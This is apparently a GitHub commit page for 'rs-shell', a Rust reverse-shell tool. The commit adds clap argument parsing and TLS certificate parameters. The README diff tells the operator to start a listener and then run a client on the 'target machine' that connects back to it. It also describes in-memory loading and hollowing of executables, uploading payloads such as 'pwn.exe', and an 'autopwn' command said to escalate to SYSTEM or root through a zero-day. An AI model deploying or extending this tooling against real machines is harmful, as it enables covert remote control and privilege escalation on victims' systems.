Skip to content

Commit 66b6e98

Browse files
committed
Improve parameters parsing and README explains
Implement parameters parsing with the 'clap' crate Add two new parameters for the TLS certificate Improve README
1 parent 48ca381 commit 66b6e98

File tree

4 files changed

+94
-50
lines changed

4 files changed

+94
-50
lines changed

Cargo.toml

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
[package]
22
name = "rs-shell"
3-
version = "0.1.0"
3+
version = "0.1.1"
44
edition = "2021"
55

66
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
@@ -14,6 +14,7 @@ open = "4.1.0"
1414
simple_logger = "4.1.0"
1515
log = "0.4.18"
1616
ctrlc = "3.4.0"
17+
clap = { version = "4.3.8", features = ["derive"] }
1718

1819
[dependencies.windows-sys]
1920
version = "0.48"

README.md

Lines changed: 26 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -31,17 +31,22 @@ For the moment, the following features are present:
3131

3232
### Setup
3333

34-
First of all, the full path of your TLS certificate and its password must be configured in the file `server.rs` in place of the tags `[CERTFICATE_PATH]` and `[CERTIFICATE_PASSWORD]`.
35-
36-
Additionally, I have set a `dummy` domain for hostname validation in the `connect()` function for both clients. If you use a signed certificate for a real server, you can change it and remove the unsecure functions that remove hostname and certs validations.
34+
I have set a `dummy` domain for hostname validation in the `connect()` function for both clients. If you use a signed certificate for a real server, you can change it and remove the unsecure functions that remove hostname and certs validations.
3735

3836
By default, only the `error`, `warn` and `info` logs are displayed. If you also need the `debug` ones (can be usefull for the loading features), you can change this in `main.rs` by modifying `::log::set_max_level(LevelFilter::Info);` to `::log::set_max_level(LevelFilter::Debug);`.
3937

38+
A new self-signed TLS certificate can be obtained like this :
39+
40+
```bash
41+
openssl req -newkey rsa:2048 -nodes -keyout private.key -x509 -days 365 -out certificate.cer
42+
openssl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.cr
43+
```
44+
4045
### Compilation
4146

42-
The project can be compiled with `cargo build --release` on Windows or Linux and the binary will be present in `target/release/`.
47+
The project can be compiled with `cargo build --release` on Windows or Linux and the binary will be present in `target/release/`, or the target name if a target is specified.
4348

44-
Tu compile for a different target than your current OS you can use `cargo build --release --target x86_64-unknown-linux-gnu`.
49+
Tu compile for a different target than your current OS you can use, for example, `cargo build --release --target x86_64-unknown-linux-gnu` (be sure to use the appropriate toolchain and to have all the required dependencies).
4550

4651
The project compilation has been tested with the following Rust toolchains :
4752

@@ -55,20 +60,23 @@ Should run on all Windows and Linux versions (I have hope).
5560
### Usage
5661

5762
```plain
58-
Usage : shell.exe [l | c] IP port
59-
60-
l launch the listener application
61-
c launch the client application
62-
63-
IP IP address to bind to for the listener, or to connect to for the client
64-
port port address to bind to for the listener, or to connect to for the client
65-
66-
In a session, type 'help' for advanced integrated commands
63+
Usage: rs-shell.exe [OPTIONS] --side <side> --ip <ip> --port <port>
64+
65+
Options:
66+
-s, --side <side> launch the client or the listener [possible values: c, l]
67+
-i, --ip <ip> IP address to bind to for the listener, or to connect to for the clien
68+
-p, --port <port> port address to bind to for the listener, or to connect to for the client
69+
--cert-path <cert_path> path of the TLS certificate (in PFX or PKCS12 format) for the server
70+
--cert-pass <cert_pass> password of the TLS certificate for the server
71+
-h, --help Print help
72+
-V, --version Print version
73+
74+
In a session, type 'help' for advanced integrated commands
6775
```
6876

69-
To obtain a session, just launch the binary in listener mode on your machine with `rs-shell.exe l IP_to_bind_to port_to_bind_to`. For example `rs-shell.exe l 0.0.0.0 4545`.
77+
To obtain a session, just launch the binary in listener mode on your machine with `rs-shell.exe -s l -i IP_to_bind_to -p port_to_bind_to --cert-path certificate_path --cert-pass certificate_password`. For example `rs-shell.exe -s l -i 0.0.0.0 -p 4545 --cert-path certificate.pfx --cert-pass "Password"`.
7078

71-
Then, on the target machine launch the client to connect back to your server with `rs-shell.exe c IP_to_connect_to port_to_connect_to`. For example `rs-shell.exe c 192.168.1.10 4545`.
79+
Then, on the target machine launch the client to connect back to your server with `rs-shell.exe -s c -i IP_to_connect_to -p port_to_connect_to`. For example `rs-shell.exe -s c --ip 192.168.1.10 --port 4545`.
7280

7381
### Advanced commands
7482

@@ -96,7 +104,7 @@ Then, on the target machine launch the client to connect back to your server wit
96104
97105
[+] Special commands
98106
> autopwn
99-
escalate to the SYSTEM account from any local account by exploiting a zero day
107+
escalate to the SYSTEM or root account from any local account by exploiting a zero day
100108
```
101109

102110
The `load` commands permit to load and execute directly in memory:
@@ -113,7 +121,7 @@ For example : `> load -h C:\Windows\System32\calc.exe C:\Windows\System32\cmd.ex
113121

114122
`upload` permits to upload a file on the client machine. For example `upload ./pwn.exe C:\Temp\pwn.exe`.
115123

116-
`autopwn` permits to escalate to the **SYSTEM account** with a 0day exploitation. Just type `autopwn` and answer the question.
124+
`autopwn` permits to escalate to the **SYSTEM or root account** with a 0day exploitation. Just type `autopwn` and answer the question.
117125

118126
## Todo
119127

src/main.rs

Lines changed: 62 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -12,10 +12,10 @@ mod server;
1212

1313
use crate::client::client;
1414
use crate::server::server;
15+
use clap::{Arg, Command};
1516
use log::LevelFilter;
1617
use simple_logger::SimpleLogger;
1718
use std::error::Error;
18-
use std::env;
1919

2020
fn main() -> Result<(), Box<dyn Error>> {
2121
SimpleLogger::new()
@@ -25,29 +25,80 @@ fn main() -> Result<(), Box<dyn Error>> {
2525
.unwrap();
2626
::log::set_max_level(LevelFilter::Info);
2727

28-
let args: Vec<String> = env::args().collect();
29-
if args.len() < 4 {
30-
log::warn!("{}", help());
31-
std::process::exit(1);
32-
}
28+
let args = Command::new("rs-shell")
29+
.author("BlackWasp")
30+
.version("0.1.1")
31+
.after_help("In a session, type 'help' for advanced integrated commands")
32+
.arg(
33+
Arg::new("side")
34+
.short('s')
35+
.long("side")
36+
.required(true)
37+
.value_parser([
38+
clap::builder::PossibleValue::new("c"),
39+
clap::builder::PossibleValue::new("l"),
40+
])
41+
.help("launch the client or the listener"),
42+
)
43+
.arg(
44+
Arg::new("ip")
45+
.short('i')
46+
.long("ip")
47+
.required(true)
48+
.help("IP address to bind to for the listener, or to connect to for the clien"),
49+
)
50+
.arg(
51+
Arg::new("port")
52+
.short('p')
53+
.long("port")
54+
.required(true)
55+
.help("port address to bind to for the listener, or to connect to for the client"),
56+
)
57+
.arg(
58+
Arg::new("cert_path")
59+
.long("cert-path")
60+
.requires_if("side", "l")
61+
.help("path of the TLS certificate (in PFX or PKCS12 format) for the server"),
62+
)
63+
.arg(
64+
Arg::new("cert_pass")
65+
.long("cert-pass")
66+
.requires_if("side", "l")
67+
.help("password of the TLS certificate for the server"),
68+
)
69+
.get_matches();
3370

34-
if args[1] == "l" {
35-
match server(&args[2], args[3].parse::<u16>().unwrap()) {
71+
if args.get_one::<String>("side").unwrap() == "l" {
72+
match server(
73+
args.get_one::<String>("ip").unwrap().as_str(),
74+
args.get_one::<String>("port")
75+
.unwrap()
76+
.parse::<u16>()
77+
.unwrap(),
78+
args.get_one::<String>("cert_path").unwrap().as_str(),
79+
args.get_one::<String>("cert_pass").unwrap().as_str(),
80+
) {
3681
Ok(_) => (),
3782
Err(r) => {
3883
log::error!("Error starting the server : {}", r);
3984
return Err(r);
4085
}
4186
}
42-
} else if args[1] == "c" {
43-
match client(&args[2], &args[3]) {
87+
} else if args.get_one::<String>("side").unwrap() == "c" {
88+
match client(
89+
args.get_one::<String>("ip").unwrap().as_str(),
90+
args.get_one::<String>("port").unwrap().as_str(),
91+
) {
4492
Ok(_) => (),
4593
Err(r) => {
4694
log::debug!(
4795
"Error during client execution : {}. Attempt to restart it",
4896
r
4997
);
50-
match client(&args[2], &args[3]) {
98+
match client(
99+
args.get_one::<String>("ip").unwrap().as_str(),
100+
args.get_one::<String>("port").unwrap().as_str(),
101+
) {
51102
Ok(_) => (),
52103
Err(r) => {
53104
log::debug!("Error still present : {}", r);
@@ -60,18 +111,3 @@ fn main() -> Result<(), Box<dyn Error>> {
60111

61112
Ok(())
62113
}
63-
64-
fn help() -> String {
65-
return "options missing
66-
Usage : shell.exe [l | c] IP port
67-
68-
l launch the listener application
69-
c launch the client application
70-
71-
IP IP address to bind to for the listener, or to connect to for the client
72-
port port address to bind to for the listener, or to connect to for the client
73-
74-
In a session, type 'help' for advanced integrated commands
75-
"
76-
.to_string();
77-
}

src/server.rs

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -14,9 +14,9 @@ use crate::autopwn;
1414

1515
static PATH_REGEX: &str = r#"PS (?<ParentPath>(?:[a-zA-Z]\:|\\\\[\w\s\.\-]+\\[^\/\\<>:"|?\n\r]+)\\(?:[^\/\\<>:"|?\n\r]+\\)*)(?<BaseName>[^\/\\<>:"|?\n\r]*?)> "#;
1616

17-
pub fn server(i: &str, p: u16) -> Result<(), Box<dyn Error>> {
17+
pub fn server(i: &str, port: u16, cert_path: &str, cert_pass: &str) -> Result<(), Box<dyn Error>> {
1818
// Read TLS certificate and create identity from it
19-
let file = File::open(r#"[CERTFICATE_PATH]"#);
19+
let file = File::open(cert_path);
2020
let mut file = match file {
2121
Ok(f) => f,
2222
Err(_) => {
@@ -27,11 +27,10 @@ pub fn server(i: &str, p: u16) -> Result<(), Box<dyn Error>> {
2727

2828
let mut identity = vec![];
2929
file.read_to_end(&mut identity)?;
30-
let identity = Identity::from_pkcs12(&identity, "[CERTIFICATE_PASSWORD]")?;
30+
let identity = Identity::from_pkcs12(&identity, cert_pass)?;
3131

3232
// Addr and port where server will bind
3333
let ip = i.parse::<Ipv4Addr>();
34-
let port: u16 = p;
3534
let ip_addr = match ip {
3635
Ok(i) => i,
3736
Err(r) => {
@@ -482,7 +481,7 @@ fn help() -> String {
482481
483482
[+] Special commands
484483
> autopwn
485-
escalate to the SYSTEM account from any local account by exploiting a zero day
484+
escalate to the SYSTEM or root account from any local account by exploiting a zero day
486485
".to_string();
487486
}
488487

0 commit comments

Comments
 (0)